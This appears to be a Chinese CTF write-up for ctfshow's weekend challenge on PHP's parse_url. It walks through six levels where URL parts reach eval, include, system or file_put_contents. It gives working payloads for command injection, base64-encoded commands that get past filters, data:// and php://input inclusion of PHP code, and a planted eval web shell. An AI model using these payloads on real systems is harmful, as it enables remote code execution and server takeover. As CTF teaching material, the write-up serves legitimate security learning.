ctfshow-周末大挑战2023.5.12-PARSE_URL

第一关

1
2
3
$data = parse_url($_GET['u']);

eval($data['host']);


通过parse_url数组获取的 get的u的值来命令执行
payload?u=[http://system('cd](http://system('cd) ..;cd ..;cd ..;tac f*');
?u=http://system('ls');得到index.php init.php
?u=[http://system('ls](http://system('ls) /');无回显
尝试?u=[http://system('cat](http://system('cat) index.php');无回显,推断过滤了/和cat
通过命令拼接回到根目录?u=[http://system('cd](http://system('cd) ..;cd ..;cd ..;ls');->bin dev etc flag_is_here.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
也可以通过编码绕过,反引号执行

evalsystem('echo bHMgLw==|base64 -d');得到 ls /就获取了命令的字符串,然后通过反引号执行
?u=[http://system("echo](http://system("`echo) bHMgLw==|base64 -d"); == ls/
?u=[http://system("echo](http://system("`echo) dGFjIC9mKg==|base64 -d"); ==tac /f*

第二关

1
2
3
4

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>
输出:
array(8) {
["scheme"]=>
string(4) "http"
["host"]=>
string(8) "hostname"
["port"]=>
int(9090)
["user"]=>
string(8) "username"
["pass"]=>
string(8) "password"
["path"]=>
string(5) "/path"
["query"]=>
string(9) "arg=value"
["fragment"]=>
string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

include用伪协议
$data['host'].$data['path'];对host和path的值拼接
应该是倒着来读取的,data后面要加两个冒号
这样host==data:path==//text/plain;base64,PD9waHAgZXZhbChzeXN0ZW0oJ2xzIC8nKSk7Pz4=有一个冒号被当作port,不会被读取
?u=//data:://text/plain;base64,PD9waHAgZXZhbChzeXN0ZW0oJ2xzIC8nKSk7Pz4= ls /
得到:
_f1ag_1s_h3re.txt bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
?u=//data:://text/plain;base64,PD9waHAgZXZhbChzeXN0ZW0oJ3RhYyAvX2YxYWdfMXNfaDNyZS50eHQnKSk7Pz4=

第三关

1
2
3
$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

payload:
?u=data:://username:password@hostname:9090//text/plain;base64,PD9waHAgZXZhbChzeXN0ZW0oJ3RhYyAvX2YxYV9nXzFzX2gzcmUnKSk7Pz4=
同样data协议,data加一个冒号

第四关

1
2
3
$data = parse_url($_GET['u']);

system($data['host']);

ls /的根目录会被当作path
和第一题一样cd回去根目录
?u=[http://username:password@cd](http://username:password@cd) ..;cd ..;cd ..;cat 1_f1ag_1s_h3re

第五关

1
2
extract(parse_url($_GET['u']));
include $$$$$$host;


把数组的键值赋值给键名做变量
$$$$$$host就是套了几层变量
通过相互赋值变量名就可以
get:?u=user://pass:fragment@scheme/?php://input%23query
通过包含php文件,input输入流传入就行
post:<?php system('cat /_f1ag_1s_h3ree');?>

1
2
3
4
5
6
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input

第六关

1
2
3
$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);


path字段传php文件名,host字段传php代码,访问文件实现rce
host字段不支持<?php>标签
用<script标签代替
?u=http://<script language='php'>eval($_GET[1]);/var/www/html/a.php

a.php?1=system('cat /_f1a_g_1s_h3re');


ctfshow-周末大挑战2023.5.12-PARSE_URL
http://example.com/2023/05/15/ctfshow-周末大挑战2023.5.12-PARSE_URL/
作者
J_0k3r
发布于
2023年5月15日
许可协议
BY J_0K3R